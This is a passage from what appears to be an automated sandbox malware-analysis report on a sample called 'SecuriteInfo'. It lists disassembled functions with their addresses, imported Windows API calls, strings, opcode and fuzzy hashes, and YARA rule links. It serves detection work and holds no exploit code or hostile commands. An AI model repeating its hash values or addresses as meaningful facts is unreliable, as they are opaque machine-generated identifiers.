Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 18153d3bacff35197e7a12e87e099423dfee31ad9b8f95cd6c78971f36698885
Instruction ID: 926a12511ecdbf04c9a8ce49bbade97c08ec637269fc19364d7d51d33298d6c6
Opcode Fuzzy Hash: 18153d3bacff35197e7a12e87e099423dfee31ad9b8f95cd6c78971f36698885
Instruction Fuzzy Hash: B7B12A22B1868A41EB60EB29B4041B9E351EB66BD8FA54131EF5E47BCDDFBCE451C310

Function 00007FF7B10FC590 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7B10FC5BC
GetCurrentThreadId.KERNEL32 ref: 00007FF7B10FC5CA
GetCurrentProcessId.KERNEL32 ref: 00007FF7B10FC5D6
QueryPerformanceCounter.KERNEL32 ref: 00007FF7B10FC5E6

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c9256d3c29dec7defdbd069e132950cc3752c5933af8d37e6b370c711f310d19
Instruction ID: ff069b71aefb6d7a95bb288b12d50c312e0eaead17e00bf0c6334a6cf18ace56
Opcode Fuzzy Hash: c9256d3c29dec7defdbd069e132950cc3752c5933af8d37e6b370c711f310d19
Instruction Fuzzy Hash: E5115126B14F068AEB00DF65E8452B873A4F76A758F440E31DB6D42768DFBCD1648350

Function 00007FF7B1114860 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF7B11148C6
memcpy_s.LIBCPMT ref: 00007FF7B11148F1

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 774500523e0fc6ef9eb86275ab574905b1c049c5d65c277359fe1180dbce7997
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: 3DC11572B1868A87D734DF19B04476AF791F7A5B88F868134DB4A63B48DB7DE810CB00

Function 00007FF7B111A5D8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7B111A827
RaiseException.KERNEL32 ref: 00007FF7B111A838

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 48b97647827edafc3b78799631f3641f64fd5a0bbb932a3008f366d071470ff1
Instruction ID: 214f6e890d4ba46db86751507cc74c5d4e497647bd8cf91e3316236958605937
Opcode Fuzzy Hash: 48b97647827edafc3b78799631f3641f64fd5a0bbb932a3008f366d071470ff1
Instruction Fuzzy Hash: BEB19D77601B888BE715DF2DE446368BBA0FB91B4CF168821DB5D837A8CB79D462C710

Function 00007FF7B10F8AF0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF7B10F8B21
FindClose.KERNEL32 ref: 00007FF7B10F8B30

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: b4e9d4f2f4e135cd5a826bc565e92bc8980f88c43f5a21f71a862fe531212b02
Instruction ID: 88abc29d4fb97e2e826211f7b89b02277630e7754eafcce359bbde78350b30fc
Opcode Fuzzy Hash: b4e9d4f2f4e135cd5a826bc565e92bc8980f88c43f5a21f71a862fe531212b02
Instruction Fuzzy Hash: A0F08162A1C68986E760AF68B48A7A6F351AB55728F840236D76D026D8DFBCD0188A10

Function 00007FF7B11040C4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF7B1104232
, xrefs: 00007FF7B1104474

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 92ab44aa671049a5d726c4e1cd9e81523bdb76ab1b5bae976e988b650b47c5f7
Instruction ID: 79540d4f60d288bdd6902f8762309cf4b0595f057e032c8937b357b589d6f5c6
Opcode Fuzzy Hash: 92ab44aa671049a5d726c4e1cd9e81523bdb76ab1b5bae976e988b650b47c5f7
Instruction Fuzzy Hash: 66E1E832E0864A81E764AE1DB09813CA3A0FF66B4CFB45135DB4E57E98DFB9E851C310

Function 00007FF7B110EA90 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF7B110EB9D
gfff, xrefs: 00007FF7B110EC1A

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: 414bc82e88e4b1ba2530bd57a0790f599c7f8d835f00ab403542f9b81ab3ad6c
Instruction ID: e4e2d315bb44f54225db17ee3c898a35c92bb22bfbeae456b3304d1ed2ce454a
Opcode Fuzzy Hash: 414bc82e88e4b1ba2530bd57a0790f599c7f8d835f00ab403542f9b81ab3ad6c
Instruction Fuzzy Hash: B3519D22F096C942E724DE3AB904769FB91F756B98F98C231CB5847AC9CFBDD4408710

Function 00007FF7B1111518 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: daa1868950d22527141b3bb5e52a58b64e58f1e29eb8866760703242d5ff76be
Instruction ID: ebd85ea7c23df156746120f8c27b81cc2a0a0437996fe961046d083419bc4f62
Opcode Fuzzy Hash: daa1868950d22527141b3bb5e52a58b64e58f1e29eb8866760703242d5ff76be
Instruction Fuzzy Hash: 5A02A221E0D64E80FB64BB397404279D695AF23B98FDA4534DF6D463DAEEFCA4118320

Function 00007FF7B110E5FC Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF7B110E93E

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bb93477e02d4e941dcb5b3cdf68f9d2c091b313a0377ba104bac55ee011317e1
Instruction ID: 87600d39f2e7370ea2783bce85b6c220fadfd56f8966252c261f600c9635f85e
Opcode Fuzzy Hash: bb93477e02d4e941dcb5b3cdf68f9d2c091b313a0377ba104bac55ee011317e1
Instruction Fuzzy Hash: C4A16862F097C986EB21DB2AB0047A9BB90EB627C8F548032DF8D47799EE7DD501C711

Function 00007FF7B1108CB0 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF7B1108CCF

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: f418ac5b73ce95224f4cdc4c7ad8bddcd0a3b001ad5768b3b557a0f5eb967220
Instruction ID: ccafddb6ebb38f7e62bf125309c1b33371bcfe6115f3ec492186e8f930b26e5f
Opcode Fuzzy Hash: f418ac5b73ce95224f4cdc4c7ad8bddcd0a3b001ad5768b3b557a0f5eb967220
Instruction Fuzzy Hash: DF519F04F0C25A41EB64B62A791917ED391EF76B8CFB84135DF1D4779AEEBCE4114220

Function 00007FF7B11140D0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7B11140D4

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 9cb1cd12b35fa318c4a8e0929622bdae7cba3dd6c324a68b4e8dcf83c52a71e5
Instruction ID: 12660304d761bc039b70bbaff6ce8d7c2d28524e84c6e8a7e279891bf15262c8
Opcode Fuzzy Hash: 9cb1cd12b35fa318c4a8e0929622bdae7cba3dd6c324a68b4e8dcf83c52a71e5
Instruction Fuzzy Hash: 7EB09220E07A0AC2EB083B1A7C82214A2A47F69714FD54038C70C41328EE6C20B54721

Function 00007FF7B1103CC0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1c086197733176920e670542d9d571295f110a1a04111a447b2e9bf7cf9f205
Instruction ID: 43c047202b1a57e25de51719265f9d7244e62e618eac9d7b68dd9722d2e6c92e
Opcode Fuzzy Hash: b1c086197733176920e670542d9d571295f110a1a04111a447b2e9bf7cf9f205
Instruction Fuzzy Hash: 38D12C22D1865A89E728EE2DA04827DA760EB26B4CFB44235CF0D136DDCFB9D941C364

Function 00007FF7B10F90C0 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5e7c7d6f5738ce9ae6dae89df256b28c6339b9d8c2370fd2cf9ecf49eca8280
Instruction ID: cca4258929f0f51c799642d5f32213c3a09f050e4559e2d56bb95e31ec336cf4
Opcode Fuzzy Hash: e5e7c7d6f5738ce9ae6dae89df256b28c6339b9d8c2370fd2cf9ecf49eca8280
Instruction Fuzzy Hash: 12C1A4722241E18BD3C9EB39E46947AB3A1FB99349FC4413AEB8747B89C63CE015D710

Function 00007FF7B1103330 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c9ed06f36b3d533f088c72f27e683e59507fd20484e083b1e58df30cf10ceb8
Instruction ID: f2301d1af779ece587481e192be0f364d68b222e8eeaef883f6bd8561707f8b0
Opcode Fuzzy Hash: 7c9ed06f36b3d533f088c72f27e683e59507fd20484e083b1e58df30cf10ceb8
Instruction Fuzzy Hash: 18B1C07292874989E7659F2DE04813CBBA0E716B4CFB44135CB4E47399CFBAE641C728

Function 00007FF7B110F110 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5c34987f7a9ca6c6679c1ebbd58ec90466e7178802fc144f73f7d44e403847
Instruction ID: 925e8fd89494a9a2d710e65204f4ec7ceaf27f170413857153f939fbcdafc1cb
Opcode Fuzzy Hash: 0e5c34987f7a9ca6c6679c1ebbd58ec90466e7178802fc144f73f7d44e403847
Instruction Fuzzy Hash: 8B810572E0C28A46E774DB1DA44976AA791FBA7798FA04235DB8D07B8DCE7CD0008B10

Function 00007FF7B1117350 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c34368459bdf7368baf31263ac24a190fc159f540f31ab2486b56688e89a89bf
Instruction ID: 83391d8f91d8077e0c99a5c13164a667fdbaabc7268e0c157638f2d5446d4cb1
Opcode Fuzzy Hash: c34368459bdf7368baf31263ac24a190fc159f540f31ab2486b56688e89a89bf
Instruction Fuzzy Hash: D0610A22F1C29646F764B92CB444339EA81AF62368F960235D71D43BC9EEFDE8108730

Function 00007FF7B1102474 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa1e8384b8f9ed93a652e40ff1fad70abf09339abefc5cb7d3385a95e3869c9a
Instruction ID: f4dd5911d5b0a7c4b4649d9300870dc22db3d83a023ed135cb8b28fa1a9f0beb
Opcode Fuzzy Hash: fa1e8384b8f9ed93a652e40ff1fad70abf09339abefc5cb7d3385a95e3869c9a
Instruction Fuzzy Hash: 4351B532E1865982E7259B2CE058678B3A0EB6AB5CF754131CF4D47798CBBAE843C750

Function 00007FF7B1102064 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51394bb55acd0354c6b54540f03649d9a1ed653df3d59b65c3bbefa0f3d6b76a
Instruction ID: 5a4ed7d885fe589f661573bab0bb4d2e69e8de7bd8d297ab0f2a02e6ea5b38aa
Opcode Fuzzy Hash: 51394bb55acd0354c6b54540f03649d9a1ed653df3d59b65c3bbefa0f3d6b76a
Instruction Fuzzy Hash: 4151A436E1865986E7269B2CE048238B3A1EB66B5CF744131CF4D0779CCBBAE843C750

Function 00007FF7B1102884 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c25247ae15e209603ec1042d904b34171e82564d0ea1a98edeaeffe93ffac02
Instruction ID: 83c42f4a2918154b224eba0d2f11c3a8c9ebe3f91d6f7126c9c6837708a791e4
Opcode Fuzzy Hash: 3c25247ae15e209603ec1042d904b34171e82564d0ea1a98edeaeffe93ffac02
Instruction Fuzzy Hash: 7051E936E1866986E7259B2CE048238B3A0EB66B9CF744131DF4D07798DF7AE843C750

Function 00007FF7B1102270 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4595b9fb9fef9db7488d00d8b5cf28c2737f3b7c2e6c847ec82cdef55389f28
Instruction ID: c3f1868af9017abb58a81746882e8ef82ec6895186d0f1dec648dd4db68c9073
Opcode Fuzzy Hash: d4595b9fb9fef9db7488d00d8b5cf28c2737f3b7c2e6c847ec82cdef55389f28
Instruction Fuzzy Hash: EF51B532E1865581E7269B2DE048238B3A0EB6AB5CFB54131CF4C5779CCB7AE842C750

Function 00007FF7B1101E60 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbef8b130d79a7ad9bd62ede7a83548c92a3f011a0e32d449ba268992e3839f7
Instruction ID: 1fbc186ce9145f6ba9ffe1c88a9db1d4d8e6ad7d8e22e019c178e0373480ebcc
Opcode Fuzzy Hash: cbef8b130d79a7ad9bd62ede7a83548c92a3f011a0e32d449ba268992e3839f7
